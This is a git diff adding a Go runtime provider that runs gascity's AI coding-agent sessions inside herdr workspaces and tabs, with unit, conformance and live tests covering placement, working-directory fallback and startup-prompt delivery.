+func (c *client) tabRename(ctx context.Context, tabID, label string) error {
+	_, err := c.run(ctx, "tab", "rename", tabID, label)
+	return err
+}
+
+// ensurePlacement resolves where an agent's pane should live: it finds or creates
+// the per-rig/town workspace wsLabel, then finds or creates the per-agent tab
+// tabLabel inside it. It returns the tab id and, when herdr auto-spawned a stray
+// shell pane (new workspace or new tab), that pane's id so Start can close it —
+// leaving the tab holding only the agent. A reused existing tab returns "".
+func (c *client) ensurePlacement(ctx context.Context, wsLabel, tabLabel string) (tabID, strayPane string, err error) {
+	wsID, err := c.findWorkspace(ctx, wsLabel)
+	if err != nil {
+		return "", "", err
+	}
+	if wsID == "" {
+		// New workspace: repurpose the default tab herdr spawns for this agent.
+		_, tabID, strayPane, err = c.workspaceCreate(ctx, wsLabel)
+		if err != nil {
+			return "", "", err
+		}
+		_ = c.tabRename(ctx, tabID, tabLabel) // cosmetic; ignore failure
+		return tabID, strayPane, nil
+	}
+	if tabID, err = c.findTab(ctx, wsID, tabLabel); err != nil {
+		return "", "", err
+	}
+	if tabID != "" {
+		return tabID, "", nil // reuse existing tab; no stray pane to close
+	}
+	return c.tabCreate(ctx, wsID, tabLabel)
+}
+
+// ── shared session-server lifecycle ──────────────────────────────────────────
+
+// socketPath is the unix socket for this client's herdr session.
+func (c *client) socketPath() string {
+	home, _ := os.UserHomeDir()
+	if c.session == "" || c.session == "default" {
+		return filepath.Join(home, ".config", "herdr", "herdr.sock")
+	}
+	return filepath.Join(home, ".config", "herdr", "sessions", c.session, "herdr.sock")
+}
+
+// serverRunning reports whether the session-server socket is present.
+func (c *client) serverRunning() bool {
+	fi, err := os.Stat(c.socketPath())
+	return err == nil && fi.Mode()&os.ModeSocket != 0
+}
+
+// startServer launches the headless herdr server for this session (detached)
+// and waits for its socket. Idempotent — no-op if already running.
+func (c *client) startServer() error {
+	if c.serverRunning() {
+		return nil
+	}
+	devnull, err := os.OpenFile(os.DevNull, os.O_WRONLY, 0)
+	if err != nil {
+		return fmt.Errorf("herdr server: open devnull: %w", err)
+	}
+	defer func() { _ = devnull.Close() }()
+	cmd := exec.Command(c.bin, "--session", c.session, "server")
+	cmd.Stdout, cmd.Stderr = devnull, devnull
+	// Launch the shared daemon in the city root, not the inherited cwd (which is
+	// often $HOME when gc is invoked from a login shell). Sessions whose --cwd is
+	// empty/nonexistent fall back to this server cwd, so a $HOME-rooted server
+	// stranded ephemeral pool spawns in $HOME (unprimed, re-prompted for trust).
+	// Empty cityRoot (city-less construction) leaves cwd inherited, as before.
+	cmd.Dir = c.cityRoot
+	if err := cmd.Start(); err != nil {
+		return fmt.Errorf("herdr server start: %w", err)
+	}
+	_ = cmd.Process.Release() // detach; herdr owns the daemon lifetime
+	for i := 0; i < 40; i++ {
+		if c.serverRunning() {
+			return nil
+		}
+		time.Sleep(250 * time.Millisecond)
+	}
+	return fmt.Errorf("herdr server for session %q did not become ready", c.session)
+}
+
+// stopServer stops this session's server (best-effort; tolerates not-running).
+// `session stop` targets the session by name and must bypass run() (which
+// prepends --session).
+func (c *client) stopServer() error {
+	_ = exec.Command(c.bin, "session", "stop", c.session).Run()
+	return nil
+}
diff --git a/internal/runtime/herdr/conformance_test.go b/internal/runtime/herdr/conformance_test.go
new file mode 100644
index 0000000000..52145fee4f
--- /dev/null
+++ b/internal/runtime/herdr/conformance_test.go
@@ -0,0 +1,33 @@
+package herdr
+
+import (
+	"fmt"
+	"os/exec"
+	"sync/atomic"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/runtime"
+	"github.com/gastownhall/gascity/internal/runtime/runtimetest"
+)
+
+// TestHerdrConformance runs the full runtime.Provider conformance suite against
+// the herdr provider backed by a real herdr binary. Each session gets its own
+// isolated herdr session-server so the contract's session-scoped assertions
+// (ListRunning, orphan detection, …) don't observe sibling sessions. Skipped
+// when herdr is unavailable or in -short mode.
+func TestHerdrConformance(t *testing.T) {
+	if testing.Short() {
+		t.Skip("skipping live herdr conformance in -short mode")
+	}
+	if _, err := exec.LookPath("herdr"); err != nil {
+		t.Skip("herdr not installed")
+	}
+
+	var counter int64
+	runtimetest.RunProviderTests(t, func(t *testing.T) (runtime.Provider, runtime.Config, string) {
+		n := atomic.AddInt64(&counter, 1)
+		p := New(fmt.Sprintf("gctest-conf-%d", n), t.TempDir(), t.TempDir())
+		t.Cleanup(func() { _ = p.TeardownServer() })
+		return p, runtime.Config{WorkDir: t.TempDir()}, fmt.Sprintf("conf-%d", n)
+	})
+}
diff --git a/internal/runtime/herdr/effectiveworkdir_test.go b/internal/runtime/herdr/effectiveworkdir_test.go
new file mode 100644
index 0000000000..55bcd9fa56
--- /dev/null
+++ b/internal/runtime/herdr/effectiveworkdir_test.go
@@ -0,0 +1,66 @@
+package herdr
+
+import (
+	"path/filepath"
+	"testing"
+
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// TestEffectiveWorkDir verifies the launch-cwd resolution: an existing WorkDir is
+// used as-is; an empty or not-yet-created WorkDir (e.g. an ephemeral pool wisp
+// whose per-bead worktree hasn't been checked out at launch) falls back to a
+// non-empty GC_CITY_ROOT env, then to the provider's cityRoot — so herdr never
+// lands the session in $HOME (where Claude Code re-prompts the trust dialog and
+// the altered boot state swallows the startup nudge, leaving the spawn idle).
+func TestEffectiveWorkDir(t *testing.T) {
+	existing := t.TempDir()
+	missing := filepath.Join(existing, "not-created-yet")
+	envRoot := "/some/env/city/root"
+	provRoot := "/some/provider/city/root"
+
+	tests := []struct {
+		name     string
+		cfg      runtime.Config
+		cityRoot string
+		want     string
+	}{
+		{
+			name:     "existing workdir used as-is",
+			cfg:      runtime.Config{WorkDir: existing, Env: map[string]string{"GC_CITY_ROOT": envRoot}},
+			cityRoot: provRoot,
+			want:     existing,
+		},
+		{
+			name:     "missing workdir prefers a set GC_CITY_ROOT env",
+			cfg:      runtime.Config{WorkDir: missing, Env: map[string]string{"GC_CITY_ROOT": envRoot}},
+			cityRoot: provRoot,
+			want:     envRoot,
+		},
+		{
+			name:     "missing workdir, empty env falls back to provider cityRoot (the pool-spawn-in-$HOME fix)",
+			cfg:      runtime.Config{WorkDir: missing, Env: map[string]string{}},
+			cityRoot: provRoot,
+			want:     provRoot,
+		},
+		{
+			name:     "empty workdir, empty env falls back to provider cityRoot",
+			cfg:      runtime.Config{WorkDir: "", Env: map[string]string{}},
+			cityRoot: provRoot,
+			want:     provRoot,
+		},
+		{
+			name:     "no workdir, no env, no cityRoot returns empty (city-less; defers to server cwd)",
+			cfg:      runtime.Config{WorkDir: missing, Env: map[string]string{}},
+			cityRoot: "",
+			want:     "",
+		},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			if got := effectiveWorkDir(tt.cfg, tt.cityRoot); got != tt.want {
+				t.Errorf("effectiveWorkDir(%+v, %q) = %q, want %q", tt.cfg, tt.cityRoot, got, tt.want)
+			}
+		})
+	}
+}
diff --git a/internal/runtime/herdr/placement_test.go b/internal/runtime/herdr/placement_test.go
new file mode 100644
index 0000000000..86baa4db40
--- /dev/null
+++ b/internal/runtime/herdr/placement_test.go
@@ -0,0 +1,83 @@
+package herdr
+
+import "testing"
+
+// TestPlacementFor covers how a runtime session name + reconciler env map to a
+// herdr workspace and tab. The wisp cases are the reason this exists: their
+// town-qualified, wisp-id runtime name must be lifted into the originating rig
+// workspace under a themed tab.
+func TestPlacementFor(t *testing.T) {
+	tests := []struct {
+		name     string
+		sessName string
+		env      map[string]string
+		wantWS   string
+		wantTab  string
+	}{
+		{
+			name:     "wisp gets rig workspace and themed tab",
+			sessName: "gastown__polecat-gc-wisp-3nvj3yx",
+			env:      map[string]string{"GC_RIG": "webapp", "GC_ALIAS": "webapp/gastown.furiosa"},
+			wantWS:   "webapp",
+			wantTab:  "polecat-furiosa",
+		},
+		{
+			name:     "wisp on mobile with bare alias",
+			sessName: "gastown__polecat-gc-wisp-abc123",
+			env:      map[string]string{"GC_RIG": "mobile", "GC_ALIAS": "nux"},
+			wantWS:   "mobile",
+			wantTab:  "polecat-nux",
+		},
+		{
+			name:     "wisp falls back to GC_AGENT when no alias",
+			sessName: "gastown__polecat-gc-wisp-abc123",
+			env:      map[string]string{"GC_RIG": "webapp", "GC_AGENT": "webapp/gastown.slit"},
+			wantWS:   "webapp",
+			wantTab:  "polecat-slit",
+		},
+		{
+			name:     "wisp with no alias yet keeps wisp tab but still moves to rig",
+			sessName: "gastown__polecat-gc-wisp-abc123",
+			env:      map[string]string{"GC_RIG": "webapp"},
+			wantWS:   "webapp",
+			wantTab:  "polecat-gc-wisp-abc123",
+		},
+		{
+			name:     "alias that is itself the wisp identity is ignored",
+			sessName: "gastown__polecat-gc-wisp-abc123",
+			env:      map[string]string{"GC_RIG": "webapp", "GC_AGENT": "gastown.polecat-gc-wisp-abc123"},
+			wantWS:   "webapp",
+			wantTab:  "polecat-gc-wisp-abc123",
+		},
+		{
+			name:     "persistent rig agent unchanged",
+			sessName: "webapp--gastown__witness",
+			env:      map[string]string{"GC_RIG": "webapp", "GC_ALIAS": "webapp/gastown.witness"},
+			wantWS:   "webapp",
+			wantTab:  "witness",
+		},
+		{
+			name:     "town-level agent has no rig and stays in town",
+			sessName: "gastown__mayor",
+			env:      map[string]string{"GC_ALIAS": "gastown.mayor"},
+			wantWS:   "gastown",
+			wantTab:  "mayor",
+		},
+		{
+			name:     "no env falls back to structural name parsing",
+			sessName: "webapp--gastown__refinery",
+			env:      nil,
+			wantWS:   "webapp",
+			wantTab:  "refinery",
+		},
+	}
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			gotWS, gotTab := placementFor(tt.sessName, tt.env)
+			if gotWS != tt.wantWS || gotTab != tt.wantTab {
+				t.Errorf("placementFor(%q, %v) = (%q, %q), want (%q, %q)",
+					tt.sessName, tt.env, gotWS, gotTab, tt.wantWS, tt.wantTab)
+			}
+		})
+	}
+}
diff --git a/internal/runtime/herdr/provider.go b/internal/runtime/herdr/provider.go
new file mode 100644
index 0000000000..084d49ff3c
--- /dev/null
+++ b/internal/runtime/herdr/provider.go
@@ -0,0 +1,547 @@
+package herdr
+
+import (
+	"context"
+	"errors"
+	"fmt"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"strings"
+	"sync"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/runtime"
+	"github.com/gastownhall/gascity/internal/shellquote"
+)
+
+// Provider implements runtime.Provider (and ServerLifecycleProvider) backed by
+// herdr. Model: one shared herdr session (server) per city; within it, one
+// workspace per rig (or per town) and one tab per agent, so each gascity session
+// is its own switchable "space" rather than a tiled pane. Agents are addressable
+// by name, 1:1 with gascity session names. Opt-in via the "herdr" runtime
+// selector; tmux default. See herdr-provider-design.md.
+type Provider struct {
+	c       *client
+	metaDir string     // sidecar KV root (herdr has no per-session metadata store)
+	mu      sync.Mutex // serializes workspace/tab find-or-create across concurrent Starts
+}
+
+var (
+	_ runtime.Provider                = (*Provider)(nil)
+	_ runtime.ServerLifecycleProvider = (*Provider)(nil)
+)
+
+// New builds a herdr Provider. herdrSession is the shared per-city herdr session
+// name; metaDir is a writable directory for sidecar session metadata (a temp
+// fallback is used when empty, e.g. a city-less standalone construction); cityRoot
+// is the city directory used as the shared server's launch cwd and as the
+// effectiveWorkDir fallback for sessions whose WorkDir doesn't exist yet (empty in
+// city-less construction).
+func New(herdrSession, metaDir, cityRoot string) *Provider {
+	if metaDir == "" {
+		metaDir = filepath.Join(os.TempDir(), "gc-herdr-meta", sanitize(herdrSession))
+	}
+	return &Provider{c: newClient(herdrSession, cityRoot), metaDir: metaDir}
+}
+
+// ── ServerLifecycleProvider: own the shared herdr session-server ─────────────
+
+// ConfigureServer ensures the shared herdr session-server is running. A named
+// session's socket does not exist until its server starts, so this must run
+// before any agent op. Idempotent.
+func (p *Provider) ConfigureServer() error { return p.c.startServer() }
+
+// TeardownServer stops the shared herdr session-server after sessions drain.
+func (p *Provider) TeardownServer() error { return p.c.stopServer() }
+
+// ── Provider core ────────────────────────────────────────────────────────────
+
+// Start ensures the shared server is up, spawns the agent into its placed
+// workspace/tab, and delivers the startup nudge once the agent reaches idle.
+func (p *Provider) Start(ctx context.Context, name string, cfg runtime.Config) error {
+	if err := p.ConfigureServer(); err != nil {
+		return fmt.Errorf("herdr: configure server: %w", err)
+	}
+	if p.IsRunning(name) {
+		return runtime.ErrSessionExists
+	}
+	// Place the agent in its own tab under a per-rig (per-town) workspace, so
+	// agents are separate switchable spaces rather than tiled panes. The
+	// find-or-create is serialized so concurrent same-rig Starts share one
+	// workspace instead of racing to create duplicates.
+	wsLabel, tabLabel := placementFor(name, cfg.Env)
+	p.mu.Lock()
+	tabID, strayPane, err := p.c.ensurePlacement(ctx, wsLabel, tabLabel)
+	p.mu.Unlock()
+	if err != nil {
+		return fmt.Errorf("herdr: place %q: %w", name, err)
+	}
+	info, err := p.c.startAgent(ctx, name, tabID, effectiveWorkDir(cfg, p.c.cityRoot), cfg.Env, shellArgv(cfg.Command))
+	if err != nil {
+		return fmt.Errorf("herdr: start %q: %w", name, err)
+	}
+	// herdr auto-spawns a stray shell pane when it creates a workspace/tab; close
+	// it so the tab holds only the agent.
+	if strayPane != "" && strayPane != info.PaneID {
+		_ = p.c.closePane(ctx, strayPane)
+	}
+	// Deliver the agent's first turn. Two mutually-exclusive sources: a pool/sling
+	// slot carries its claim instruction in cfg.Nudge; a named always-awake Claude
+	// session carries its behavioral prime in cfg.PromptSuffix (PromptMode=arg).
+	// herdr launches via exec argv and — unlike tmux/acp/t3bridge — has no shell-arg
+	// slot to ride PromptSuffix onto, so without this it would drop the prime, boot
+	// a bare `claude` REPL, and (because the resolver already set
+	// startupPromptDeliveredEnv, suppressing the SessionStart hook's copy of the
+	// prime) leave the agent wholly unprimed and idle. Route both through the one
+	// hardened post-idle paste+submit path; cfg.Nudge takes precedence so the
+	// working pool path is byte-for-byte unchanged. See startupDeliveryText.
+	if startupText := startupDeliveryText(cfg); startupText != "" && info.PaneID != "" {
+		// A freshly-spawned agent boots through a shell→TUI handoff before its
+		// input prompt is listening. The paste buffers and survives that window,
+		// but the submit CR does not: delivered too early it is swallowed, leaving
+		// the text typed-but-unsubmitted in the box — and the agent then idles
+		// forever instead of running its first turn. Wait for herdr to report the
+		// agent idle (its prompt rendered) before delivering, mirroring how tmux's
+		// doStartSession waits for readiness before its Step-6 startup nudge.
+		// Bounded and best-effort: on a boot that never idles we deliver anyway (no
+		// worse than the prior unconditional send), and the reconciler tolerates a
+		// slow Start (pendingCreateNeverStartedTimeout = 10m).
+		_ = p.WaitForIdle(ctx, name, startupNudgeIdleTimeout)
+		if err := p.c.deliverNudge(ctx, info.PaneID, name, startupText); err != nil {
+			// Best-effort: the submit didn't confirm (TUI race under boot load).
+			// Surface it rather than silently leaving a stranded startup turn;
+			// nudgeStalledPoolClaims is the reconcile-tick backstop of last resort.
+			fmt.Fprintf(os.Stderr, "herdr: startup delivery for %q not confirmed: %v\n", name, err) //nolint:errcheck // best-effort diagnostic
+		}
+	}
+	return nil
+}
+
+// startupDeliveryText resolves the first-turn text Start delivers to a freshly
+// spawned agent. A pool/sling slot carries its claim instruction in cfg.Nudge and
+// is delivered unchanged (it takes precedence, so the working pool path is
+// untouched). A named always-awake Claude session instead carries its behavioral
+// prime in cfg.PromptSuffix (PromptMode=arg, shell-quoted for argv use that herdr's
+// exec launch has no slot for); unquote it — mirroring the parts[0] round-trip used
+// on the resume path in session_lifecycle_parallel.go — and deliver it through the
+// same post-idle paste+submit path. Returns "" when there is nothing to deliver
+// (deterministic workers, suppressed startup prompt). Falls back to the raw string
+// if PromptSuffix somehow fails to unquote: delivering something beats stranding the
+// agent idle.
+func startupDeliveryText(cfg runtime.Config) string {
+	if cfg.Nudge != "" {
+		return cfg.Nudge
+	}
+	if cfg.PromptSuffix == "" {
+		return ""
+	}
+	if parts := shellquote.Split(cfg.PromptSuffix); len(parts) > 0 {
+		return parts[0]
+	}
+	return cfg.PromptSuffix
+}
+
+// startupNudgeIdleTimeout bounds how long Start waits for a freshly-spawned
+// agent to reach its idle input prompt before delivering the startup nudge. The
+// wait returns as soon as the agent idles (typically a few seconds); the bound
+// only bites on a boot that never idles, after which the nudge is sent
+// best-effort. Sized generously to cover cold, concurrent boots during a
+// town-wide restart.
+const startupNudgeIdleTimeout = 60 * time.Second
+
+// Stop closes the agent's pane and clears its metadata sidecar. Idempotent.
+func (p *Provider) Stop(name string) error {
+	ctx := context.Background()
+	pid, err := p.paneID(ctx, name)
+	if err != nil || pid == "" {
+		return nil // idempotent
+	}
+	_ = p.c.closePane(ctx, pid)
+	_ = p.clearMeta(name)
+	return nil
+}
+
+// Interrupt sends a soft ctrl+c to the agent (herdr exposes no signal API).
+func (p *Provider) Interrupt(name string) error {
+	ctx := context.Background()
+	pid, err := p.paneID(ctx, name)
+	if err != nil || pid == "" {
+		return nil
+	}
+	return p.c.sendKeys(ctx, pid, "ctrl+c") // herdr has no signal API; ctrl+c is the soft interrupt
+}
+
+// IsRunning reports whether an agent with this name exists in the session.
+func (p *Provider) IsRunning(name string) bool {
+	agents, err := p.c.listAgents(context.Background())
+	if err != nil {
+		return false
+	}
+	for _, a := range agents {
+		if a.Name == name {
+			return true
+		}
+	}
+	return false
+}
+
+// IsAttached reports false: herdr 0.7.1 exposes no clean attach-state query.
+func (p *Provider) IsAttached(_ string) bool { return false }
+
+// Attach runs `herdr agent attach`, blocking until the user detaches.
+func (p *Provider) Attach(name string) error {
+	cmd := exec.Command(p.c.bin, "--session", p.c.session, "agent", "attach", name)
+	cmd.Stdin, cmd.Stdout, cmd.Stderr = os.Stdin, os.Stdout, os.Stderr
+	return cmd.Run() // blocks until the user detaches
+}
+
+// ProcessAlive reports whether the agent's pane has a live foreground process,
+// optionally requiring one of processNames to be present.
+func (p *Provider) ProcessAlive(name string, processNames []string) bool {
+	ctx := context.Background()
+	pid, err := p.paneID(ctx, name)
+	if err != nil || pid == "" {
+		return false
+	}
+	shellPID, fg, err := p.c.processInfo(ctx, pid)
+	if err != nil || shellPID == 0 {
+		return false
+	}
+	if len(processNames) == 0 {
+		return true // per contract
+	}
+	for _, pr := range fg {
+		for _, want := range processNames {
+			if pr.Name == want {
+				return true
+			}
+		}
+	}
+	return false
+}
+
+// Nudge injects and submits text into a running agent's input.
+func (p *Provider) Nudge(name string, content []runtime.ContentBlock) error {
+	ctx := context.Background()
+	pid, err := p.paneID(ctx, name)
+	if err != nil || pid == "" {
+		return runtime.ErrSessionNotFound
+	}
+	return p.c.deliverNudge(ctx, pid, name, runtime.FlattenText(content))
+}
+
+// Peek reads the current rendered screen ("visible") — the liveness/fingerprint
+// snapshot. recent*/scrollback is empty until lines scroll off.
+func (p *Provider) Peek(name string, lines int) (string, error) {
+	return p.c.read(context.Background(), name, "visible", lines)
+}
+
+// ListRunning returns the names of running agents whose names start with prefix.
+func (p *Provider) ListRunning(prefix string) ([]string, error) {
+	agents, err := p.c.listAgents(context.Background())
+	if err != nil {
+		return nil, err
+	}
+	var out []string
+	for _, a := range agents {
+		if strings.HasPrefix(a.Name, prefix) {
+			out = append(out, a.Name)
+		}
+	}
+	return out, nil
+}
+
+// SendKeys translates tmux-style key names and sends them to the agent's pane.
+func (p *Provider) SendKeys(name string, keys ...string) error {
+	ctx := context.Background()
+	pid, err := p.paneID(ctx, name)
+	if err != nil || pid == "" {
+		return nil
+	}
+	hk := make([]string, len(keys))
+	for i, k := range keys {
+		hk[i] = translateKey(k)
+	}
+	return p.c.sendKeys(ctx, pid, hk...)
+}
+
+// Capabilities reports which optional provider features this backend supports.
+func (p *Provider) Capabilities() runtime.ProviderCapabilities {
+	return runtime.ProviderCapabilities{
+		CanReportAttachment: false, // no clean IsAttached query
+		CanReportActivity:   false, // no GetLastActivity
+		CanStream:           false, // socket-event streaming is a later optimization
+		CanAttachTTY:        true,  // agent attach
+	}
+}
+
+// ── best-effort / unsupported (the contract permits these) ───────────────────
+
+// GetLastActivity is unsupported (herdr exposes no activity timestamp); it
+// returns the zero time.
+func (p *Provider) GetLastActivity(_ string) (time.Time, error) { return time.Time{}, nil }
+
+// ClearScrollback is a no-op: herdr exposes no scrollback-clear op.
+func (p *Provider) ClearScrollback(_ string) error { return nil }
+
+// RunLive is a no-op: herdr agents are launched at Start.
+func (p *Provider) RunLive(_ string, _ runtime.Config) error { return nil }
+
+// CopyTo copies a local path into the agent's working directory (best-effort).
+func (p *Provider) CopyTo(name, src, relDst string) error {
+	if _, err := os.Stat(src); err != nil {
+		return nil // best-effort: missing src
+	}
+	a, ok, err := p.c.getAgent(context.Background(), name)
+	if err != nil || !ok || a.Cwd == "" {
+		return nil
+	}
+	// An empty relDst means "into the workdir under the source's own name".
+	// Joining "" targets the directory itself, which copyPath cannot write a
+	// file to — preserve the basename, as the other providers do.
+	if relDst == "" {
+		relDst = filepath.Base(src)
+	}
+	return copyPath(src, filepath.Join(a.Cwd, relDst))
+}
+
+// ── metadata sidecar (herdr has no per-session KV) ───────────────────────────
+
+// SetMeta writes a per-session metadata value to the sidecar store (herdr has
+// no per-session KV).
+func (p *Provider) SetMeta(name, key, value string) error {
+	dir := filepath.Join(p.metaDir, sanitize(name))
+	if err := os.MkdirAll(dir, 0o755); err != nil {
+		return err
+	}
+	return os.WriteFile(filepath.Join(dir, sanitize(key)), []byte(value), 0o644)
+}
+
+// GetMeta reads a per-session metadata value from the sidecar store; a missing
+// key returns an empty string.
+func (p *Provider) GetMeta(name, key string) (string, error) {
+	b, err := os.ReadFile(filepath.Join(p.metaDir, sanitize(name), sanitize(key)))
+	if errors.Is(err, os.ErrNotExist) {
+		return "", nil
+	}
+	if err != nil {
+		return "", err
+	}
+	return string(b), nil
+}
+
+// RemoveMeta deletes a per-session metadata value from the sidecar store.
+// Idempotent.
+func (p *Provider) RemoveMeta(name, key string) error {
+	err := os.Remove(filepath.Join(p.metaDir, sanitize(name), sanitize(key)))
+	if errors.Is(err, os.ErrNotExist) {
+		return nil
+	}
+	return err
+}
+
+func (p *Provider) clearMeta(name string) error {
+	return os.RemoveAll(filepath.Join(p.metaDir, sanitize(name)))
+}
+
+// ── helpers ──────────────────────────────────────────────────────────────────
+
+// paneID resolves a gascity session name to its herdr pane id (or "" if absent).
+func (p *Provider) paneID(ctx context.Context, name string) (string, error) {
+	a, ok, err := p.c.getAgent(ctx, name)
+	if err != nil {
+		return "", err
+	}
+	if !ok {
+		return "", nil
+	}
+	return a.PaneID, nil
+}
+
+// shellArgv wraps a shell command string as argv for `herdr agent start -- …`.
+func shellArgv(command string) []string {
+	if strings.TrimSpace(command) == "" {
+		return []string{"/bin/sh"}
+	}
+	return []string{"/bin/sh", "-c", command}
+}
+
+// workspaceTabFor maps a gascity runtime session name to its herdr placement: a
+// per-rig (or per-town) workspace label and a per-agent tab label. Runtime names
+// are "<rig>--<town>__<agent>" (rig-qualified; citylayout maps "/" → "--") or
+// "<town>__<agent>" (town-level). Workspace = the rig when present, else the
+// town; tab = the agent (the segment after the last "__"). Falls back to the
+// whole name when those separators are absent (defensive for non-gc names).
+func workspaceTabFor(name string) (workspace, tab string) {
+	rest := name
+	if i := strings.Index(name, "--"); i >= 0 {
+		workspace, rest = name[:i], name[i+2:]
+	} else if j := strings.Index(name, "__"); j >= 0 {
+		workspace = name[:j]
+	} else {
+		workspace = name
+	}
+	if k := strings.LastIndex(rest, "__"); k >= 0 {
+		tab = rest[k+2:]
+	} else {
+		tab = rest
+	}
+	if workspace == "" {
+		workspace = name
+	}
+	if tab == "" {
+		tab = name
+	}
+	return workspace, tab
+}
+
+// placementFor decides a session's herdr workspace and tab. It starts from the
+// structural runtime name (workspaceTabFor) and then refines it with the richer
+// identity the reconciler injects into the environment — the same GC_RIG /
+// GC_ALIAS convention the t3bridge and k8s providers use (session/manager.go
+// populates these via RuntimeEnvWithSessionContext).
+//
+// This matters for ephemeral pool wisps: their runtime name is town-qualified
+// (e.g. "gastown__polecat-gc-wisp-3nvj3yx"), so workspaceTabFor alone drops them
+// in the town workspace under an opaque wisp-id tab. GC_RIG restores the
+// originating rig workspace (webapp/mobile), and GC_ALIAS swaps the wisp id for
+// the themed instance name, yielding e.g. workspace "webapp", tab
+// "polecat-furiosa". Persistent and town-level sessions are unaffected: they
+// either carry no GC_RIG (town agents) or already resolve to the same labels.
+func placementFor(name string, env map[string]string) (workspace, tab string) {
+	workspace, tab = workspaceTabFor(name)
+	if len(env) == 0 {
+		return workspace, tab
+	}
+	// Group under the originating rig when known. Town-level agents (mayor,
+	// deacon, …) have no GC_RIG and keep their town workspace.
+	if rig := strings.TrimSpace(env["GC_RIG"]); rig != "" {
+		workspace = rig
+	}
+	// Replace a wisp id with the themed instance alias so tabs read e.g.
+	// "polecat-furiosa" rather than "polecat-gc-wisp-3nvj3yx". The role prefix
+	// (everything before the wisp id) is preserved. Falls through unchanged when
+	// no alias is available yet, or when the alias is itself the wisp identity.
+	if i := strings.Index(tab, "gc-wisp-"); i >= 0 {
+		alias := strings.TrimSpace(env["GC_ALIAS"])
+		if alias == "" {
+			alias = strings.TrimSpace(env["GC_AGENT"])
+		}
+		if leaf := lastSegment(alias); leaf != "" && !strings.Contains(leaf, "gc-wisp-") {
+			tab = tab[:i] + leaf
+		}
+	}
+	return workspace, tab
+}
+
+// lastSegment returns the trailing identity segment after the final "/" or ".",
+// reducing a possibly-qualified alias ("webapp/gastown.furiosa") to its bare
+// instance name ("furiosa").
+func lastSegment(s string) string {
+	if i := strings.LastIndexAny(s, "/."); i >= 0 {
+		return s[i+1:]
+	}
+	return s
+}
+
+// effectiveWorkDir picks the directory the agent should launch in. herdr falls
+// back to its server cwd when --cwd is empty and to $HOME when --cwd points at a
+// path that does not exist, and Claude Code never persists trust acceptance from
+// $HOME — so it re-prompts "trust this folder?" on every launch and (worse) an
+// ephemeral pool spawn that lands in $HOME boots a different shell state that
+// swallows the startup nudge, leaving it idle and unclaimed. Ephemeral pool wisps
+// are started before their per-bead worktree is created, so cfg.WorkDir may not
+// exist yet at launch; fall back to the city root (a stable project dir where
+// trust is saved once) rather than let herdr land the session in $HOME.
+//
+// Resolution order: an existing cfg.WorkDir; else a non-empty GC_CITY_ROOT env
+// (legacy/explicit override); else the provider's cityRoot. The final fallback is
+// the fix for the pool-spawn-in-$HOME bug: GC_CITY_ROOT is not actually populated
+// in cfg.Env today, so before this the result was "" and herdr used its server
+// cwd — which is $HOME whenever the daemon was launched from a login shell. An
+// empty cityRoot (city-less construction) returns "" and defers to the server cwd
+// (now itself pinned to the city root in startServer).
+func effectiveWorkDir(cfg runtime.Config, cityRoot string) string {
+	if cfg.WorkDir != "" {
+		if _, err := os.Stat(cfg.WorkDir); err == nil {
+			return cfg.WorkDir
+		}
+	}
+	if root := cfg.Env["GC_CITY_ROOT"]; root != "" {
+		return root
+	}
+	return cityRoot
+}
+
+// translateKey maps tmux-style key names (SendKeys uses "Enter"/"C-c"/"Down")
+// to herdr key-combo strings ("enter"/"ctrl+c"/"down").
+func translateKey(k string) string {
+	switch k {
+	case "Enter":
+		return "enter"
+	case "Escape", "Esc":
+		return "esc"
+	case "Tab":
+		return "tab"
+	case "Up":
+		return "up"
+	case "Down":
+		return "down"
+	case "Left":
+		return "left"
+	case "Right":
+		return "right"
+	case "Space":
+		return "space"
+	case "BSpace":
+		return "backspace"
+	}
+	if len(k) > 2 && k[1] == '-' { // C-x / M-x / S-x
+		switch k[0] {
+		case 'C':
+			return "ctrl+" + strings.ToLower(k[2:])
+		case 'M':
+			return "alt+" + strings.ToLower(k[2:])
+		case 'S':
+			return "shift+" + strings.ToLower(k[2:])
+		}
+	}
+	return k
+}
+
+// sanitize makes a string safe as a single path segment.
+func sanitize(s string) string {
+	return strings.NewReplacer("/", "_", " ", "_", ":", "_", "..", "_").Replace(s)
+}
+
+// copyPath copies a file or directory tree from src to dst.
+func copyPath(src, dst string) error {
+	info, err := os.Stat(src)
+	if err != nil {
+		return err
+	}
+	if info.IsDir() {
+		entries, err := os.ReadDir(src)
+		if err != nil {
+			return err
+		}
+		if err := os.MkdirAll(dst, 0o755); err != nil {
+			return err
+		}
+		for _, e := range entries {
+			if err := copyPath(filepath.Join(src, e.Name()), filepath.Join(dst, e.Name())); err != nil {
+				return err
+			}
+		}
+		return nil
+	}
+	b, err := os.ReadFile(src)
+	if err != nil {
+		return err
+	}
+	if err := os.MkdirAll(filepath.Dir(dst), 0o755); err != nil {
+		return err
+	}
+	return os.WriteFile(dst, b, info.Mode().Perm())
+}
diff --git a/internal/runtime/herdr/provider_live_test.go b/internal/runtime/herdr/provider_live_test.go
new file mode 100644
index 0000000000..0ae3e9ddb9
--- /dev/null
+++ b/internal/runtime/herdr/provider_live_test.go
@@ -0,0 +1,88 @@
+package herdr
+
+import (
+	"context"
+	"os/exec"
+	"strings"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/runtime"
+)
+
+// TestProviderLive drives the herdr Provider against a real herdr binary in an
+// isolated session. Skipped when herdr is unavailable or in -short mode.
+func TestProviderLive(t *testing.T) {
+	if testing.Short() {
+		t.Skip("skipping live herdr test in -short mode")
+	}
+	if _, err := exec.LookPath("herdr"); err != nil {
+		t.Skip("herdr not installed")
+	}
+
+	p := New("gctest-live", t.TempDir(), t.TempDir())
+	_ = p.Stop("smoke") // clear any leftover from a crashed prior run
+	t.Cleanup(func() { _ = p.Stop("smoke"); _ = p.TeardownServer() })
+
+	ctx := context.Background()
+	cfg := runtime.Config{
+		WorkDir: t.TempDir(),
+		Command: `for i in $(seq 1 60); do echo "tick $i"; sleep 1; done`,
+	}
+	if err := p.Start(ctx, "smoke", cfg); err != nil {
+		t.Fatalf("Start: %v", err)
+	}
+
+	if !p.IsRunning("smoke") {
+		t.Error("IsRunning = false after Start")
+	}
